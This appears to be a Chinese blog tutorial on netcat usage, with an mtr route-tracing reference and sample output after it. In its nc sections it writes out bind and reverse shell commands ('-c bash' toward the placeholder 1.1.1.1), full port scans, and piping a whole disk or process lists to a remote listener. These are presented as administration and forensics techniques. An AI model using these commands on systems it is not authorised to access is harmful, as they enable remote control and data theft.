nc命令使用

nc命令使用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
* 将nc命令当telnet使用
语法:
nc -nv IP PORT
例:
mtr 202.106.0.20
# 使用mtr命令追踪一下路由
nc -nv 123.125.50.29 110
# -n表示不使用DNS解析(不建议在nc后使用域名);-v表示显示详细信息。连接163邮箱服务器。进入后可以使用一些命令,但识别的都是base64加密后的数据
base64
[email protected]
# 输入base64命令后按回车,之后等待输入数据,输入完成后按回车再按Ctrl+d结束,就会产生一个base64编码后的数据
nc -vn 123.125.50.138 25
# 连接163的smtp服务器。
nc -vn 1.1.1.1 80
# 连接后都会提示端口的状态,如open表示打开状态
head /
# 进入后,可以用head请求头信息

* 使用NC传输文本信息
A:nc -l -p 333
# -l(listen)表示要监听端口,-p指定端口号。这可以起到一个服务端的功能
B:nc -nv 1.1.1.1 333
# 连接后,这两台主机就可以聊天了。
# 这个功能不为聊天,实际是为电子取证所用

A:nc -l -p 333
B:ls -l | nc -nv 1.1.1.1 333
# 将本机ls -l显示的信息传到nc服务器上。这是远程电子审计的标准方法

A:nc -l -p 333 > ps.txt
# 将结果重定向到一个文件中
B:ps aux|nc -nv 1.1.1.1 333 -q 1
# 收集进程信息。-q表示标准结果输出后,delay(延迟)一定时间就退出。1就是延迟的时间,表示1秒
A: cat ps.txt

A:nc -l -p 333 > lsof.txt
B:lsof | nc -nv 1.1.1.1 333 -q 1
A: cat lsof.txt

* 使用NC传输文件/目录
** 传输文件
A:nc -lp 333 > 1.mp4
# 接收端打开333端口,接收到的内容输入到一个文件名
B:nc -nv 1.1.1.1 333 < 1.mp4 -q 1
# 发送文件到接收端。在windows上使用上面的命令会报错,可能是安装的是netcat软件。需要使用下面命令
nc -w 1 1.1.1.1 333 < 1.mp4

A:nc -q 1 -lp 333 < a.mp4
# 从服务器向客户端收送文件,这就成了发送端。这像是一个下载的过程。连接完成后1秒断开
B:nc -nv 1.1.1.1 333 > 2.mp4
# 客户端成了接收端。

** 传输目录
A:tar -cvf - music/ | nc -lp 333 -q 1
# 打包目录,通过管道入到nc中。视频中强调,cvf后面的横线不能少,少了就不能打包成tar文件了。在 GNU 指令中,如果单独使用 - 符号,不加任何该加的文件名称时,代表"标准输入"的意思。这是 GNU指令的共通选项。如:tar xpvf -,这里的 - 符号,既代表从标准输入读取资料。不过,在 cd 指令中则比较特别,cd -,这代表变更工作目录到"上一次"工作目录。
B:nc -nv 1.1.1.1 333 |tar -xvf -
# 连接到nc,将打包的目录解压到本地
# 也可以反方向传输。

** 加密传文件
A:nc -lp 333 | mcrypt --flush -Fbqd -a rijindael-256 -m ecb > 1.mp4
# A端先监听端口,等待别人给其传文件。收到文件后给后面的解密命令解密,之后重新输出一个文件。接收到文件后会提示输入密码
B:mcrypt --flush -Fbq -a rijindael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
# 将加密文件转给A主机。两边的加密方式应该一致。加密时需要输入两次密码

* 使用NC做流媒体服务
A: cat 1.mp4 | nc -lp 333
# mp4文件也可以用cat打开
B:nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -
# mplayer是一个播放器,其他支持命令行的播放器也可以

* 使用NC做端口扫描
nc -nvz 1.1.1.1 1-65535
nc -nvzu 1.1.1.1 1-1024
# -z表示使用0输入/输出模式,只在扫描通信端口时使用。默认使用tcp端口,-u表示扫描udp的端口。每一个扫描器扫描的结果都不是完全准确的,可能被防火墙拦截。建议使用多个工具进行扫描

* 使用NC做远程克隆硬盘
A:nc -lp 333 | dd of=/dev/sda
B:dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1
# 远程电子取证,可以将目标服务器硬盘远程复制,或者内存。这是块级别的备份。不会只拷贝文件,它会将磁盘扇区上的所有数据都拷贝过来。dd命令就是块级别的复制。if表示input file

* 使用NC做远程控制
** 正向
A: nc -lp 333 -c bash
B: nc -nv 1.1.1.1 333
# 客户端控制服务器。连接后可以使用bash命令

** 反向
A:nc -lp 333
B:nc -nv 1.1.1.1 333 -c bash
# 服务器控制客户端

注:windows用户把bash改成cmd

* NC-NCAT
NC缺乏加密和身份验证的能力
NCAT包含于nmap工具包中。NCAT与NC是不一样的
A:ncat -c bash --allow 1.1.1.1 -vnl 333 --ssl
# --allow表示允许哪个IP地址来连接本服务器
B:ncat -nv 1.1.1.1 333 --ssl;监听的是333端口,--ssl表示ssl加密
# 不同系统/平台的NC参数功能不尽相同

mtr命令

mtr命令可以结合ping nslookup tracert 来判断网络的相关特性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
* 参数
mtr -r
# 以报告模式显示

mtr -s
# 用来指定ping数据包的大小

mtr -c
# 设置每秒发送数据包的数量

mtr -n
# no-dns不对IP地址做域名解析

mtr -a
# 来设置发送数据包的IP地址 这个对一个主机由多个IP地址是有用的

mtr -i
# 使用这个参数来设置ICMP返回之间的要求默认是1秒

mtr -4
# IPv4

mtr -6
# IPv6

ruopu@ruopu-PC:~$ mtr -r 202.108.33.94
Start: 2018-11-19T11:09:25+0800
HOST: ruopu-PC Loss% Snt Last Avg Best Wrst StDev
1.|-- _gateway 0.0% 10 0.3 0.4 0.3 0.5 0.1
2.|-- 106.38.38.81 0.0% 10 3.2 8.7 3.1 54.0 15.9
3.|-- 237.235.120.106.static.bj 10.0% 10 2.8 3.0 2.8 4.4 0.5
4.|-- 202.97.57.201 0.0% 10 3.3 3.4 3.2 3.8 0.2
5.|-- 202.97.88.246 60.0% 10 3.2 3.2 3.1 3.3 0.1
6.|-- 219.158.44.133 0.0% 10 10.7 8.2 3.5 12.7 2.7
7.|-- 219.158.3.77 0.0% 10 9.3 7.7 4.8 10.3 2.2
8.|-- 124.65.194.174 40.0% 10 3.5 3.6 3.4 3.7 0.1
9.|-- 61.148.143.30 0.0% 10 3.2 3.9 3.2 5.9 0.8
10.|-- 210.74.176.138 0.0% 10 3.5 4.1 3.1 8.6 1.6
11.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0
# ruopu-PC一列显示的是IP地址或本机域名;Snt一列显示的是设置每秒发送数据包的数量,默认值是10,可以通过参数-c来指定。

ruopu@ruopu-PC:~$ mtr -r -c 15 202.108.33.94
Start: 2018-11-19T11:12:54+0800
HOST: ruopu-PC Loss% Snt Last Avg Best Wrst StDev
1.|-- _gateway 0.0% 15 0.4 0.4 0.3 0.5 0.1
2.|-- 106.38.38.81 0.0% 15 187.6 65.7 3.7 187.6 59.1
3.|-- 237.235.120.106.static.bj 0.0% 15 3.0 3.9 2.6 12.4 2.8
4.|-- 202.97.57.237 0.0% 15 4.4 6.5 4.0 14.6 3.0
5.|-- 202.97.57.114 0.0% 15 35.1 17.8 2.9 50.9 17.5
6.|-- 219.158.44.129 0.0% 15 12.5 7.9 3.3 20.7 4.4
7.|-- 219.158.3.77 0.0% 15 4.4 6.6 3.1 9.9 2.3
8.|-- 124.65.194.118 66.7% 15 3.9 12.1 3.7 43.0 17.3
9.|-- 61.148.143.22 0.0% 15 3.2 7.3 3.2 35.8 9.1
10.|-- 210.74.178.198 0.0% 15 3.9 4.2 3.5 10.8 1.8
11.|-- ??? 100.0 15 0.0 0.0 0.0 0.0 0.0
# HOST:ruopu-PC一列显示的是途经的IP地址或本机域名;Loss%列显示的是每个对应IP的丢包率,只有最后的目标丢包才算是真正的丢包;Snt一列显示的是设置每秒发送数据包的数量,默认值是10,可以通过参数-c来指定;Last列显示的是最近一次的返回时延,按毫秒计算;Avg列显示的是发送ping包的平均时延;Best烈显示的是最好或时延最短的;Wrst列显示的是最差或时延最长的;StDev列显示的是标准偏差。

ruopu@ruopu-PC:~$ sudo mtr -i 0.1 -n -c 100 202.108.33.94
# 对不标IP不做解析,ping100次,每0.1秒返回一次结果

ruopu@ruopu-PC:~$ mtr -r -n -c 30 -s 1024 www.baidu.com
Start: 2018-11-19T11:28:06+0800
HOST: ruopu-PC Loss% Snt Last Avg Best Wrst StDev
1.|-- 192.168.0.1 0.0% 30 0.6 0.6 0.5 0.7 0.1
2.|-- 106.38.38.81 0.0% 30 16.8 56.8 11.6 160.8 36.0
3.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0
4.|-- 220.181.0.234 83.3% 30 6.1 5.6 4.6 6.1 0.6
5.|-- 218.30.112.130 60.0% 30 5.0 5.7 4.9 10.3 1.6
6.|-- 180.149.128.138 26.7% 30 10.6 270.4 6.8 1008. 355.7
7.|-- 180.149.129.6 0.0% 30 5.3 5.8 4.7 16.9 2.8
8.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0
9.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0
10.|-- 180.149.132.151 0.0% 30 5.8 6.8 5.7 16.6 2.8
作者

John Doe

发布于

2018-11-19

更新于

2023-03-17

许可协议